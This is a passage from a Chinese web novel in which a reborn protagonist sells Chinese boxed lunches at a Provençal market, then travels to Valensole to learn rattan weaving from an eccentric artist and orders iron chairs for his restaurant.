罗南想了一会: “可以继续卖,但是得换个方式,早上卖盒饭不合适,没有什么人买,放那么久也凉了。” 那些菜夜里就炒出来了,即使做足了保温工作也坚持不到中午。 罗天海点头: “保温的效果没有那么好,如果中午饭还是热的,能卖出去更多份。” 有几个游客不想去餐厅吃饭,但听说饭菜不是很热了后就离开了。 罗南拍了下沙发扶手: “明天早上我和妈妈先去梅纳村,你10点左右带着热的盒饭来,这样都不用早起了。” “早上就你们两个人忙不过来。”罗天海抗议道。 罗南耐心的解释: “周末维埃里在家,莉亚也随时都可以来帮忙,人好找,你就安心的卖盒饭吧,别管其他了。” 罗天海已经不是昨天那个自信满满的罗天海了,他连连摆手的说: “我发现了,这个盒饭一时半会卖不好的,我还是老老实实的帮你吧。” 罗南用下巴指桌子上的钱: “今天卖的挺好啊,600多法郎呢,我第一次在卢尔马兰卖锅包肉的时候都没卖这么多钱。” 罗天海皱着眉头说: “但都是你朋友们带来的客人啊,梅纳村没人吃过中餐,没人宣传,即使人流量更大也没用。” 罗天海算是彻底看明白了。 盒饭跟粉红酒、锅包肉的情况完全不同。 前两者的名声已经打出去了。 想要在普罗旺斯普及新的东西,只能靠‘人传人’、靠熟人之间的口碑,其他办法都没有这个有用。 一百个游客过来看,可能只有5个买,但熟人‘推荐’来的,来一个买一个。 罗南笑着拍了下腿: “梅纳村没人吃过,咱们就想办法找人吃,没人宣传咱们就想办法找人宣传.客户都是慢慢积累起来的。” 冯珍和罗天海异口同声的问: “你打算怎么弄?” 第二天上午。 梅纳村。 经常来梅纳村集市逛的人应该知道,走在集市上经常能听到一道特殊的吆喝声。 “先生、小姐、女士,要尝尝普罗旺斯的特色粉红酒吗?我发誓这绝对是你们在其他地方尝不到的味道!” 最开始,这个宣传语只有一个黄皮肤的摊主会喊。 后来,喊的人越来越多,这句话已经成为梅纳村集市上的一道特色。 但他们今天再来梅纳村集市,又听到了一道‘特色’的吆喝声。 这叫卖声不是对着游客喊的,而是对各位摆摊的摊主。 喊的人也是个黄皮肤的,只不过比之前那个年纪更大一些。 “伙计,我是隔壁卖粉红酒和锅包肉的摊主,这个时间饿了吧?要试试我们那里新出的中餐盒饭吗?好吃不贵,大家都是同行,还可以给你打个折扣,而且我可以给你送过来,不耽误你的生意。” 第188章 紫色的海洋 罗南从1月份就开始来集市上卖东西,也算是个老摊主。 几个月摆摊经历中,有一件事始终令他困扰,那就是摆摊时的吃饭问题。 集市8点开始,摊主们5、6点钟就要吃完早饭开始忙碌,有的时候9点一过就要找东西吃,到了12点继续饿,一上午要吃两次。 普罗旺斯人非常在意吃饭,认为那是无比神圣的事情,但在忙碌的环境中想吃得好几乎不可能,大多数摊主都会选择带点面包和奶酪去,饿了啃两口。 可当你啃面包的时候,看到身边经过的人手里拿着香喷喷的馅饼、刚刚出炉烤鸡、油浸橄榄和各种新鲜野味时,血液里的‘美食家’基因便会苏醒。 挑食的佐伊宁愿‘饿死’都不吃面包,死死撑着结束去吃一顿好的。 但集市结束的时间正是餐厅的高峰期很可能要等位置。 梅纳村的集市人流量极大,即使卖的不好,摊位前的客人也会络绎不绝,摊主们不能离开摊位太远去买吃的,馋了最多就是在周围相邻的摊位上买一点过过嘴瘾,但周周吃也是不可能的。 总之,吃饭是令摊主非常头疼的一个问题! 罗南经常想,如果这里能有人‘送餐’就好了,而且是可以有选择的那种,那么上午即使忙碌一点他也愿意。 他相信和他有同样困扰的摊主绝对不在少数,毕竟这里是遍地‘美食家’的普罗旺斯,而盒饭不正好可以解决这个大家吃饭困难的问题吗? 我有十几种选择,还可以给你送过去,多么完美? 给摊主们供餐只是罗南计划中的第一个环节,之后的环节才是重中之重。 摊主的基数太少了,靠他们卖出名堂是不实际的。 摊主的作用是一个个移动的‘广告牌’。 罗南不相信好事的普罗旺斯人不好奇那些摊主吃的是什么东西。 他同时也不相信,喜欢夸大其词的普罗旺斯摊主不会‘添油加醋’的描述盒饭的味道。 盒饭本身绝对没问题,它只是缺一个机会,一个撬动陌生人尝一尝的机会。 如果罗南的计划成功,届时整个集市上全是罗南打出去的盒饭‘广告’。 游客会离开普罗旺斯,但他的‘广告’会始终留在这里,迎接一波又一波的新客人。 罗南想的挺好,但实际执行起来就不知道怎么样了。 他一边做锅包肉,一边四处搜索父亲的身影。 “走了半个小时了,不知道那些摊主接不接受这种方式呢?” 今天顶替罗天海来帮忙的是维埃里。 这小子‘下岗’了两个月,再次得到上岗机会恨不得把所有的能力都给他的老板展现出来。 点单、收钱、维持秩序、给小孩分发试吃、兼顾盒饭区连冯珍都说,维埃里一个人可以顶两个人用。 “过来休息一下,喝点水。”罗南把维埃里叫回来。 累坏了我回去怎么和你妈妈、爸爸和姐姐交代? 维埃里擦了擦汗,活力十足的问罗南: “我表现的还行吧?” 罗南笑着对他说: “非常不错,今天多给你100法郎。” 每次维埃里来帮忙,罗南都会给他100法郎作为报酬,这已经高于市场平均水平了。 他对面的那个烟瘾极大的女摊主只给她的亲戚75法郎。 罗南听说维埃里最近在攒钱去马赛看足球比赛,正好借着这个机会多给这小子‘资助’点。 “谢谢!”维埃里干劲更足了,再次回到岗位上。 “这200我出。”冯珍抢着‘付款’。 罗南最近的经济压力巨大,餐厅装修太费钱了。 老两口好几次提起要给罗南资助一点,罗南每一次都拒绝,还总找各种理由给他们塞钱。 大钱儿子不让出,这200法郎还跟我抢吗? “不用啊妈妈,这是我给维埃里的工钱。” “这个工是顶替你爸爸的,应该我出。” “就200而已我们没必要抢了吧?” “对啊,就200你还和我抢!” 突然,一道洪亮的声音在母子身后出现。 “我出!” 是罗天海眉开眼笑的回来了。 “怎么样?”虽然已经看出了结果,冯珍还是期待的问。 “那些摊主一听我是卖粉红酒和锅包肉的摊主,热情的不得了。”罗天海把口袋里的记录本拿出来,“订出去了21份,还有5个人订了下周的。” 梅纳村集市总共只有300个摊位,第一次卖出去二十多份绝对不算少了,不要忘记这可是在普罗旺斯‘默默无闻’的中餐。 罗天海用力拍了两下罗南的后背: “你小子把名声做起来了,人家看的都是你的面子。” 卖盒饭比罗天海预想中顺利太多。 他已经做好了努力‘推销’的准备,没想到根本不要费什么口舌。 ‘罗南’这个名字比说任何话都好使。 摊主们很相信罗南卖食物的水平,愿意尝一尝。 这也同时印证了‘口口相传’这个营销策略的正确性。 罗南鼓励父亲: “只要他们肯尝,来买盒饭的人一定越来越多的。” 罗天海恢复了昨天的神采,精神满满的给摊主们准备盒饭: “还有一个多月,在餐厅开业前,咱们一定能把名声打出去更多。” 儿子的脑子,加上他的手艺让罗天海信心十足! “一起加油!”冯珍伸出一个拳头。 维埃里着急的跑过来: “带我一起!” 我和你们也是一家人! ‘一家人’维埃里在集市上给罗南帮了不少忙,她姐姐佐伊给罗南帮了更大的忙。 某天上午,佐伊去餐厅给罗南送来了天大的好消息: “找到那个会藤艺编织的艺术家了。” “上帝,真的找到了?”罗南摘掉层层叠叠的防护道具,露出流淌着汗水的笑脸。 佐伊心疼的在他脸上擦了擦,让‘小白脸’恢复以往的神采: “还记得我曾经跟你说过,我那个做铁艺的朋友吗?” 罗南点头: “记得,你说她是你大学时期最好的朋友。” “没错。”佐伊带罗南到阴凉一点的地方,“她认识那个叫巴蒂的艺术家,他们现在住在同一个村子。” “哪里?”罗南迫切的问。 佐伊用手挡住头顶的阳光: “上普罗旺斯阿尔卑斯省,瓦朗索勒。” 佐伊通过她的朋友和那个会藤艺编织的艺术家取得联系,表达想要去学习的一下的意愿。 对方痛快的答应下来,表示藤艺编织在法国实在太小众了,他非常乐于多一个和他并肩的‘传播者’。 为了赶工期,罗南在第二天便动身前往上普罗旺斯阿尔卑斯省。 不过由于这次出行太过突然,佐伊没办法陪同一起。 富有了的佐伊女士并没有懈怠下来,反而更加努力了,她给自己制定了非常严格的工作计划,罗南要去上普罗旺斯阿尔卑斯省的那几天,正好是她烧窑的日子。 每次开窑,佐伊都要全程盯在旁边实时监控温度,没有办法离开太长时间。 罗南安顿好了家里和餐厅的事情,带了一套换洗衣服,独自北上踏上‘求学’之路。 瓦朗索勒在瓦朗索勒高原上,从卢尔马兰去那里需要上D8公路,罗南之前去阿普特也要走这条公路,不过时隔几个月这次再次开到这里,D8公路两侧的风景出现了明显的变化。 绿油油的农田变成了金黄色,中间还时不时穿插一片紫色。 原来不知不觉中,收获的季节已然到来了。 随着向北行驶,紫色的面积越来越大,而后是金黄色和黄色.艳丽的色彩从脚下一路向湛蓝的天空无限延伸,一眼看不到尽头。 紫色的是清香四溢的薰衣草田、金黄色的是成熟麦田、黄色的是向日葵,这便是罗南对瓦朗索勒高原的第一印象——和吕贝隆山景绝然不同的视觉体验。 这三样标志性的事物给瓦朗索勒高原铺上一条色彩斑澜的锦缎,让人忍不住联想到梵高笔下那些热烈流动的色彩。 继续向北开,深入到高原腹地,眼前的一切事物最终被一片紫色的云雾取代。 此刻的瓦朗索勒高原化身为一片无边无际的紫色海洋,每一个角落都弥漫着薰衣草的淡远温和芳香。 随即罗南脑海中出现了许多村民、农夫和朋友们说过的话: “吕贝隆没有大片薰衣草田,只有博尼约山脚下有几片比较大的,如果想看薰衣草必须去瓦朗索勒、耶兹或者索村,但如果你想看大片的薰衣草海最好的地方非瓦朗索勒莫属,那里被称为薰衣草的大本营。” 罗南来的月份已经过了最佳赏薰衣草的时间,但还是让他震撼连连,很难想象最佳观赏时期瓦朗索勒会美丽成什么样子。 瓦朗索勒是一个不大的市镇,大概有2000多常驻人口。 就像是圣雷米有浓郁的艺术气息一样,一进入瓦朗索勒也能明显看出这里的‘名片’。 街道上随处可见薰衣草颜色的店铺和门窗。 商铺门口的小桌上,陈列着一束束新鲜的薰衣草和用薰衣草制作的各种纪念品。 画廊的橱窗里挂着的全部是以薰衣草或向日葵为主题的画作。 民宅的铁艺栅栏上,也都挂着薰衣草或金色的麦穗。 路边几个小姑娘一边唱歌,一边帮妈妈把薰衣草捆成束。 整个瓦朗索勒无处不体现着他们是薰衣草的大本营这个事实。 罗南一路看看逛逛,来到了和佐伊朋友约定的见面地点——瓦朗索勒市政厅门口。 佐伊的朋友一眼就认出了罗南: “佐伊的朋友?” 罗南看向那个亚麻色头发,脸上有一点小雀斑的女生,礼貌的回应: “赫黛利?” 赫黛利点了下头,没有寒暄太多,指了一个方向: “你这两天住巴蒂家,我们先过去。” 巴蒂就是即将教罗南藤艺编织的艺术家。 罗南的目光不断被两侧的景色所吸引,忍不住感慨: “瓦朗索勒真是一个宜居的地方,这里的风格太让人印象深刻了。” 赫黛利侧头轻轻笑了一下: “你也很让人‘印象’深刻,佐伊从几个月前就经常跟我提起你了。” 第189章 魔鬼教师 听到赫黛利主动提起佐伊,罗南有些遗憾这一趟佐伊没能一起来。 否则肯定又是一次幸福的‘假期’。 “佐伊说好久没见你了,不能一起来很遗憾。”罗南回忆起临走前佐伊送他的样子。 提起老朋友,赫黛利做了一个‘夸张’的表情: “佐伊一向刻苦,让她在家里安心工作吧,出来太多天她会‘焦虑’的。” 罗南悠悠的说: “其实也不会太久,只是她提前定好工作计划了,一个更改后面的计划都要变。” 赫黛利扭头奇怪的看罗南: “你至少要在瓦朗索勒待半个月,佐伊没有转告你吗?” 藤艺编织挺复杂的,技艺不难,难的是如何运用,罗南来一次不容易,最好完全掌握再回去,这些她全部和佐伊提前交代过了。 罗南也奇怪的笑了下: “我学东西挺快的。” 赫黛利的眉头不自然的皱到一起。 看起来这位‘学生’态度不是很认真啊 罗南想到什么,问赫黛利: “佐伊说你可以帮我做铁艺的椅子?” 佐伊建议餐厅室外的家具可以用木质桌子配铁制的椅子。 她还给罗南推荐了面前的铁匠赫黛利,说她做东西又快又好,最主要的是便宜。 赫黛利点头: “安顿好可以抽空去一趟我家,那里有一些成品的椅子,看看是不是合适。” 罗南感谢的点头: “那就麻烦你了。” 巴蒂住在瓦朗索勒最热闹的城区里,热闹到罗南的车无法开到他所在的那条街里,只能停到稍远的地方,拿着行李步行前往。 这条街道两侧全是把桌子摆出来的商铺,孩子们在路上奔跑嬉戏,建筑里会传出女主人做的午饭香气,‘烟火’气十足。 “我以为艺术家不喜欢住在这么热闹的地方。”罗南把行李提起来,绕开一个个孩子。 赫黛利也在和骑脚踏车的人艰难错身: “其他人不喜欢,但巴蒂喜欢,其实他并不是瓦朗索勒人,只是哪里热闹住哪里,最近是看薰衣草的季节,他就搬来瓦朗索勒住,等过几个月天气冷下来,他可能就去图旺山了。” 图旺山是滑雪胜地,冬天也有不少游客。 罗南心中一直有一个疑问: “他去参加艾克斯的特色集市,也是因为那里人多热闹?” 是有不少人会去非居住地的集市卖东西,但不会去太远的地方,比如罗南只会选择距离比较近的梅纳村,不会去艾克斯,也不会去阿普特。 但瓦朗索勒距离艾克斯70多公里,瓦朗索勒附近还有山路,并不好开,往返的时间太长了。 巴蒂怎么会去艾克斯的集市上卖东西呢? 赫黛利耐心解释: “巴蒂刚从艾克斯搬来瓦朗索勒,如果佐伊早一点问我,我也帮不上什么忙,我是最近才知道瓦朗索勒来了一个会藤艺编织的手艺人。” 罗南点点头,表示理解: “前几个月艾克斯热闹,旅行高峰期。” 如果巴蒂是个爱热闹的人,又喜欢追逐人流‘四海为家’,那么去艾克斯生活很合适。 赫黛利尴尬的笑了两声: “是呢,夏天艾克斯的路上全是女大学生。” 罗南:“?” 罗南在一个家庭餐厅门口看到了他的‘师傅’巴蒂。 鲁西永的商铺老板并没有抓住巴蒂的外形特征,他不是‘很瘦很白’,而是‘极其瘦’和‘像羊脂玉一样白’,并且高的离谱,罗南觉得巴蒂可能有近1米9的身高。 请注意,这里绝不是夸赞巴蒂外形条件优秀的意思,罗南认为这个会藤艺编织的艺术家有一股明显的‘病态美’。 如果不是他的笑声极富穿透力,距离好几米就能听到,罗南一定会觉得这个家伙是个病人。 可能是等人太无聊,这位伟大的艺术家给自己找了一点事情干——和餐厅里的女客人聊得热火朝天。 赫黛利一连叫了巴蒂两声,他才想起来站在这里是另有目的。 “赫黛利!”巴蒂终于发现了罗南他们,热情的张开怀抱,但目标是赫黛利,“你又漂亮了。” 赫黛利用一套‘交际舞步’回馈巴蒂的热情。 她灵活的躲开巴蒂的怀抱,冷漠的说: “巴蒂,有的时候你真的很像我家的狗,明明几分钟前才见过面,玩了一圈就会像几天没见那么热情,两个小时前去我家说,可以让罗南住在你家的人不是你吗?” 巴蒂没有理会赫黛利的挖苦,绅士的对罗南前倾了一下身体: “你好罗南,我很开心你能迷上藤艺编织。” 赫黛利的任务完成了,和罗南告别: “我家的地址你记下了吧?晚一点可以过来看看椅子,那你们忙吧,我走了。” “不去我家喝一杯吗,赫黛利?”巴蒂热情的邀请,但回应他的只有一个消失在街角的背影。 他撇了撇嘴,对罗南说: “现在的女孩越来越高冷了。” 罗南觉得有必要好好感谢一下赫黛利。 能看出她真的一秒钟都不想和巴蒂待在一起。 “这几天要打扰你了。”罗南礼貌的对巴蒂表达感谢。 巴蒂热情的对罗南招手: “不打扰,我就喜欢热闹,赫黛利不喝咱俩喝,走,买酒去!” 罗南:“.” 来之前,罗南曾让佐伊帮忙询问是否需要‘交学费’,赫黛利给佐伊的回复是巴蒂拒绝了,说不需要。 既然如此,今天的酒水罗老板买单了。 看着杂货店里的伙计抱着两箱红葡萄酒去自己家,巴蒂还没喝就已经醉了。 “家里多一个人的感觉太酷了!” 一想到未来半个月家里都将有另一个人巴蒂的脚步便像一只即将起飞的小鸟一样轻盈。 鉴于对巴蒂的不全面了解,罗南很担心在巴蒂家看到一些令人‘尴尬’的东西。 没想到巴蒂家既干净,又整洁,处处有好闻的薰衣草味和藤蔓的特殊香气。 “两个空房间,你随便挑一个吧。”放好葡萄酒,巴蒂积极的安顿罗南。 罗南选了一楼较小的一间卧室,打开行李放东西。 看到罗南箱子里的东西,巴蒂不由得走近了几分: “你怎么就带了一套衣服来?生活用品也几乎没怎么带.” 罗南出手阔绰,不像是生活‘拮据’的人。 不可能只有一套换洗的衣服。 罗南一边收拾一边说: “我学东西挺快的,应该待不了几天。” 巴蒂刚飞起来的心重重落了下去。 家里好不容易来了个人可以热闹热闹,怎么能轻易放罗南走? 他严肃的离开了罗南的卧室: “你先收拾吧,我去院子里布置一下‘教室’。” 魔鬼教师·巴蒂即将上线。 没有半个月,绝不能放罗南离开这个屋子! 巴蒂所谓的‘教室’就是他家不大的小院子。 里面放着两个藤编的小板凳、一个比板凳大不了多少的小桌子,和一地的藤条。 罗南觉得这里是最不适合‘上课’的地方,街道上热闹的声音不绝于耳,在这里能安心做东西就奇怪了。 不过,这次的瓦朗索勒之行只不过是‘装装样子’,就不纠结这些了。 上课讲究仪式感。 巴蒂老师倒了两杯红葡萄酒,放到两个人的身前,道具齐全,可以上课了: “听说你学藤艺编织是想做家具?” 罗南点头: “对,我有一些现成的椅子,想用藤条把它们包裹点缀一下,然后还想再做一些饰品。” 巴蒂开心的说: “很好,你的需求藤艺编织都可以满足。” 罗南继续问: “藤艺编织工艺和竹编、草编一样吗?” 赫黛利给佐伊介绍过巴蒂的背景。 这个家伙的技术是跟一个生活在意大利的中国老师傅学的,罗南说的这几种工艺他都会一点,只不过藤艺在欧洲的市场稍大一些,所以巴蒂‘深耕’了这个领域。 巴蒂很开心他的学生有‘探索’精神: “在类型上它们同属于编织类工艺,有平编、绞编和盘扣等共同基础编织法,但草编工艺更为简单一些,材质的原因导致它无法承载太大的重量,而竹子和藤蔓的韧性和强度更高,可以承受更为复杂的编织方法,不过藤编还要结合框架使用。” 罗南如释重负的点了点头。 编织法是通用的,那么学会一个就可以会其他。 太棒了,终于可以放心了! 巴蒂拿出几根浅色的藤条想要给罗南展示,不过想了一下,又拿出了另外一种深颜色的藤条。 魔鬼教师怎么能‘循序渐进’的教呢? 那学生会骄傲的啊 第一课必须给学生上一上强度,让他知道这个‘学’是没有那么好上滴。 “我们先从最基础的‘挑一压一’编法学起。”巴蒂示意罗南跟他一样,拿两种不同颜色的藤条出来。 罗南发出了一声疑惑的鼻音: “最基础的不是平编、绞编和盘扣吗?你刚刚说的.” 巴蒂敷衍的说: “那些用不上。” 罗南耸肩: “那好吧。” 巴蒂一边展示一边讲解: “把第一种藤条摆好,第二种颜色的藤条与它垂直编织,压一根挑一根,第二根放的时候挑一根压一根,以此类推。” ‘挑一压一’是很基础的编织法,易于理解,但不好操作,尤其是新手,可能弄到第二根藤条就分不清谁挑谁压了。 巴蒂拿起第三根藤条,尽量放慢动作,以求让罗南看的清楚: “别着急,慢慢来,看我的手法。” 魔鬼教师也有称职的一面。 他余光看了一眼罗南的进度,想要及时指正,但惊得停下了手上的动作。 他才编到第三根,罗南那里已经编好好几排了。 罗南见‘老师’看自己,笑呵呵的说: “我学东西快。” 巴蒂瞪大眼睛,在内心愤怒的咆哮: 加大难度! 必须加大难度!! 第190章 美人计 在来瓦朗索勒前,罗南已经对手工编织技艺的难度和使用途径有了预期。 佐伊不会藤艺编织,但她会编绳子。 它们其实都是可以互通的。 佐伊告诉罗南,这类手工技艺学会并不难,尤其是有老师‘手把手’的教,难的是如何‘创作’。 比如她只学过用绳子做手绳和吊床等简单的东西,把它们做出来很简单,难的是如何利用已掌握的技巧做出更为复杂的工艺品。 结合佐伊的说法和罗南自己的理解,他判断【编织】是一个入门简单,但上限很高的技能。 不过他根本不需要什么‘上限’,只需入门即可,学到2级可能就够了,最多不会超过3级。 为了快速‘学成’回家,罗南一步到位把【编织】升级到了3级。 600点幸福度对于现在的他来说不算什么。 系统里的技能升到高级后给的能力千奇百怪无法预测,但每一次的入门能力都是相同的——那就是大量基础知识。 2级【编织】技能亦是如此。 罗南了解这个分类里不止有他和巴蒂讨论的藤、草、竹,还有棕、柳、麻等许多其他工艺。 同时还了解了不同材质制作出的东西特点和差异性等。 除了这类基础知识外,2级【编织】里也介绍了许多编织方法,就包括巴蒂说的平编、绞编和盘扣等基础编织法,和他刚刚学的‘挑一压一’。 2级【编织】只是让罗南对这个技能有所了解,3级【编织】带来的就是更为实用的能力了。 新的能力有两个,一个是编织材料的‘处理’方法。 例如草如何晾晒、如何浸泡软化;藤要如何剥皮、增强柔软性;竹子劈成篾条,如何削薄、打磨和做防腐处理等等,这个能力可以增加制作出来成品的美观度和耐久性。 第二个能力非常实用,那就是增强了罗南的‘动手’能力。 【烹饪】曾经给罗南带来过2次‘手’的升级。 3级【烹饪】让他放调料的时候更‘精准’了,想放多少就放多少。 4级【烹饪】提升的是刀工,不过需要有刀在手才能‘天下我有’,离了刀,罗南的手上功夫只能说比普通人灵活一点,但不多。 而3级【编织】带来的动手能力,则是实打实的让罗南的手灵活了不止一个档次。 他觉得现在自己的每根手指都灵活的像是一个杂技演员,可以做出各种‘高难度’的动作,而且不同演员可以在同一时间内做不同的事情。 10位灵活的杂技演员凑到一起别说是编织藤条演一出舞台剧都轻而易举。 “我差不多掌握‘挑一压一’了。”罗南编织了一整片藤条后主动请示老师。 魔鬼教师·巴蒂喝了一口葡萄酒压惊: “这个方法你记下来,下午慢慢练习,我再针对你的需求教你几种‘简单’编法。” 罗南放下手里的东西,认真听讲。 巴蒂拿着几根藤条说: “做家具的时候离不开一种处理方法,它可以让我们把底座处理的漂亮且美观,这种编织方式叫‘菊编底’,听我的老师说,在中国它也叫‘米字’编织法。” 罗南表情平静的说: “好。” 罗南的反应太过平淡,巴蒂非常‘不满意’,危言耸听的吓唬罗南: “如果这个编织法学不好,很难做出好看的成品,你一定要好好学。” ‘米字’编织法需要做出很多缠绕动作,藤蔓硬度高,编织难度很大,如果用竹子会简单很多。 不过这就是巴蒂想要的效果——让罗南知道藤艺编织是非常困难的,从而打消他‘轻敌’的念头! “好的,开始吧。”罗南的语气终于有变化了,变得焦急。 “我们先拿出四根藤条,把它编成‘米’字——”巴蒂认真起来,“之后从这里做起点绕过来,藤蔓的硬度比较高,每一根手指都要做‘助力’,这两根手指固定,这根手指帮助藤蔓‘穿’过去,另一根手指压住它旁边的.” 巴蒂很少使用这种编织法,和坚硬的藤蔓对抗没有那么简单,几根手指一起工作使得他暂时停下了嘴上的‘教学’,认真做东西。 等他绕完两圈,觉得差不多成型了,放到桌子上给罗南看: “喏,你看,‘菊编底’编出来就是这个效果的。” 说完,他惬意的举起酒杯,抿了一小口。 “这个效果吗?”罗南也把他的‘成品’放到桌子上。 巴蒂放下杯子,看看左边又看了右边,一时间沉默了。 该死的,搞什么东西啊? 两个双胞胎吗?! “我很少夸人,但你教的真的很好,我一听就明白了。”罗南真诚的夸赞道,“我来找你学习是明智的,你是个很棒的老师。” “你继续练习‘挑一压一’和‘菊编底’。”巴蒂站起来,表情狰狞的离开院子,“我去做点吃的。” 实话实说,巴蒂有些沮丧,但又被罗南的评价哄得很开心。 难道我有去‘教书’的潜质? “要不然去试试应聘艾克斯的艺术学校当老师?这样就不用只远远的看着那些年轻漂亮的女大学生,可以光明正大的加入她们了!” 心情不错的巴蒂决定用最拿手的‘老酪锅’感谢罗南让他认识了自己的另一面。 不过他严重低估了家里奶酪的存量,把冰箱都搬开了,也只找到拳头大的那么一块。 巴蒂一边在厨房地毯式搜索,一边小声嘟囔: “天天出去吃,没有那么多奶酪啊。” 普罗旺斯人对客人的最高礼仪就是在家里给他做一顿丰盛的饭菜,带客人出去吃饭是会被视为‘无理’的。 于是巴蒂把厨房里全部的食材,香肠、土豆、生菜和西红柿等一起放到奶酪旁边。 “煮出来味道应该是一样的。”巴蒂安慰自己。 老酪锅主打一个随性简单,问题不大。 五分钟后,罗南在厨房门口出现: “需要帮忙吗?” 他的鼻子告诉他,厨房里出现了大危机。 巴蒂卖力的搅动一盆红色的粘稠液体: “不用,再有十分钟就可以吃饭了。” 说完,他又倒了一点红酒进去。 老酪锅的正规做法是放入白兰地,但番茄让这盘食物变成了红色,巴蒂认为加入红葡萄酒更加合适。 罗南来到巴蒂身边,低头看着这一锅比女巫汤剂还恐怖的东西。 直接打击巴蒂并不是一个好主意,毕竟这是他的一番心意。 但罗南需要一副健康的身体早日回卢尔马兰。 斟酌了几秒后,他突然用聊天的语气说: “我在院子里听到门口家庭餐厅的老板和客人发生了一点口角,你应该认识那个老板吧?我刚刚看到你和她打招呼了。” 巴蒂马上关掉炉灶,严肃的对罗南说: “切尔斯密太太需要我的帮助。” 罗南露出了如释重负的笑容。 谢天谢地,50多岁的女性依然对巴蒂有吸引力。 巴蒂是一个和人聊起天来就很难结束的人,尤其是和女性聊天时。 在他向50多岁的切尔斯密太太展现男士魅力的同时,罗南去同一条街上的菜店和肉店补给了一些食材。 这是住在闹市的另一个好处,不出100米一定可以找到想要的的东西。 为了表达对巴蒂的感谢,罗南说他也要做两道菜,就这样终于化解了这场严峻的‘食物危机’。 罗南做饭的时候,巴蒂就在院子里安静的做东西。 等罗南做好饭出来喊他,发现巴蒂此刻的状态像和切尔斯密太太聊天时一样投入,拍他的肩膀才能把他‘叫醒’。 “我做好了,可以吃饭了。”罗南指了指厨房。 巴蒂有些意外的嘟囔: “这么快吗.我以为才过去几分钟。” 巴蒂很少在家里吃饭,在外面吃饭更热闹,还能看美女。 但和罗南一起吃的这顿饭,也让他吃出了‘乐趣’。 他好久没和人聊的这么痛快了! 在法国几乎没有和他做一件事的同行,只有那些意大利人愿意研究藤艺编织。 但巴蒂又和意大利人语言不通。 罗南愿意听他讲编织的事情,对其他艺术品类也有一定的了解,而且审美很好。 他随手给巴蒂画了一下他想要的饰品样式,栩栩如生的。 两个人对着一张小小的草图开心的聊了整整一个下午。 ‘教室’也随即从院子,搬到了餐厅。 巴蒂现场给罗南演示如何实现、可以有几种实现的方式,罗南一如既往的是一个‘好学生’,无论巴蒂如何教都能快速的消化掉。 “不能再聊了。”罗南看了看外面的天色,判断现在应该快4点了,“我今天还要去赫黛利家看椅子。” 罗南今天过的也很开心,巴蒂是个学识渊博、经验丰富的艺术家,并且由于他老师是中国人的缘故,巴蒂对中国文化非常熟悉,和这种人聊天是一种幸福的事情不过他今天还有一项任务没完成呢。 “好,那今天的课就到这里了,我们明天再继续。”巴蒂开心的说。 罗南简单收拾了一下,出门的时候发现巴蒂抱着4瓶红酒站在门口。 “你也出去?”罗南坏笑着问。 到社交时间了? 巴蒂把两瓶红酒塞到罗南手里,兴奋的说: “我和你一起去赫黛利家,她家附近有好几个未婚的漂亮女孩,我带你好好‘认识’一下她们!” 罗南做饭好吃,还和他有共同话题,巴蒂更不舍得让他离开了。 但罗南学东西实在太快,靠魔鬼教师恐怕也无济于事。 那么就用点别的手段吧。 那位教他编织技艺的意大利老师傅曾送过巴蒂一本中国的书籍,名字叫《孙子兵法》。 巴蒂对那本书相当痴迷,翻看过不止多少次。 他决定用里面的‘美人计’对付罗南! 让他见识一下瓦朗索勒女人的魅力!! 第191章 艺术家和粉红酒 赫黛利居住的地方很符合罗南对‘艺术家’居住环境的遐想。 那是村子外围一个很安静的农舍,面积比罗南家大,附近没有农田,但有不少邻居。 巴蒂给罗南介绍,瓦朗索勒许多做艺术的人都生活在这附近,这一块区域是瓦朗索勒的‘艺术林’。 听着巴蒂滔滔不绝的介绍,罗南忍不住的想: 如果卢尔马兰也有这种艺术氛围就好了,佐伊可以多许多朋友。 艺术离不开氛围,艺术同时也需要碰撞。 其实一直有一个巨大的问题在困扰着罗南: 在他重生回来的21世纪,并没有听过佐伊的名字。 也就是说,佐伊的艺术家梦并没有完全成功。 往好的方向想,也许佐伊只在普罗旺斯有名气。 往不好的方向想佐伊可能并没有达到预期的高度。 佐伊是罗南最爱的人,帮助佐伊完成梦想是他义不容辞的事情。 而且一个人的幸福不是幸福,周围的人全都幸福才是真正的幸福。 所以罗南一直在留意可以帮助佐伊变强、变好的因素。 巴蒂在一间绿色屋顶的房屋前停下: “这里住了我的一个朋友,一位年轻的女画家,19岁却有着不输29岁女人的魅力——” 他压低声音对罗南说: “身材顶级!带你认识一下?” 罗南做了一个‘饶了我吧’的表情: “别闹了巴蒂,我有女朋友。” 这是巴蒂沿途给他介绍的第十一个‘朋友’。 这家伙说他来到瓦朗索勒的第一件事就是找到这里的艺术家组织,并通过组织认识了不少‘条件’不错的女艺术家。 他还说,给罗南介绍的都是‘精挑细选’过的,那些有家庭的都不在其中。 巴蒂耸肩,无辜的说: “只是认识一下而已,你在想什么?” 罗南继续向前走: “我要去赫黛利家了。” 你够了! 巴蒂依然不放弃,对罗南的背影喊: “你先去吧,我待会带着‘朋友们’去找你!” 罗南:“.” 赫黛利的家庭情况和佐伊相同,和父母、弟弟一起居住。 但她所从事的行业和佐伊大不相同。 她的工作室也是牛棚或者驴棚改的,里全部是重型机械,气温比外面高不少,罗南很难想象这是一个女孩子的工作环境。 赫黛利机器下的铁棍像薯条一样脆弱,轻而易举的弯成了‘麻花’。 看到罗南的表情和材料一起扭曲起来,她开玩笑的问: “有兴趣也学学铁艺吗?” 罗南连连摆手: “专业的事还是找专业的人吧。” 他家已经够热闹了,就不掺合这种力量感十足的工艺了。 赫黛利忙完手里的事情,把罗南带到她的小仓库: “有不少成品,也有一些样品,你看看有没有你需要的。” 罗南对椅子的要求并不高,样式简洁就可以了,还有一点是便宜。 经过仔细比对,他顺利的在赫黛利这里订购了90把户外铁椅。 法国消防法对餐厅的通道宽度有严格要求,而且来普罗旺斯旅游的人也不喜欢太拥挤的环境。 再考虑进去遮阳伞的面积和景观的面积等因素,罗南给218平米的户外餐厅区域设计了30张桌子。 大部分是2人桌和4人桌,少量6-8人长桌,灵活适应于情侣、家庭和团队游客群体。 罗南选的这款椅子是样品,没有现货。 “我不着急,你慢慢做,10月份做好就行。”罗南善解人意的说。 罗南不着急,赫黛利却是个急性子: “这款非常简单,今天开始做十几天就可以全部做完。” “没必要那么赶。”罗南建议道。 赫黛利语气轻松的说: “不要小看那些机械,在它们的面前金属像猫咪一样听话,说不定你从瓦朗索勒离开时可以带着你的椅子一起。” 罗南低头摸了摸鼻子: “跟我一起走恐怕时间不太够吧。。” 赫黛利问罗南: 